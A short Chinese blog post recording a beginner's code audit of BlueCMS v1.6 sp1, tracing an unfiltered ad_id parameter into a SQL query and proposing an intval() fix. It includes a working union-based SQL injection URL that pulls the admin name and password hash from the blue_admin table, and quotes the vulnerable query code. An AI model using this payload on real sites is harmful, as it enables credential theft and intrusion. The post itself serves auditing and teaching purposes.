php代码审计一

新手审计cms BlueCMSv1.6 sp1 这个cms有很多漏洞所以来审计一波。。做一手记录

漏洞一:SQL注入:

可以通过网上大佬的方法用法师大大的seay工具,也可以用phpstroml来审计

1、通过seay或者phpstrom来搜索经典的传参方式$_GET、$_POST等

2、这里我们可以发现$ad_id没有进行过滤,我们继续追踪这个变量

1 $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; 

3、这里这个变量直接被带入到数据库中查询,由于这个变量是可控的

if(empty($ad_id))
{
    echo 'Error!';
    exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

4、验证

ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1

5、修复:

$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';

 

posted @ 2019-07-09 14:30  guike  阅读(1601)  评论(0编辑  收藏  举报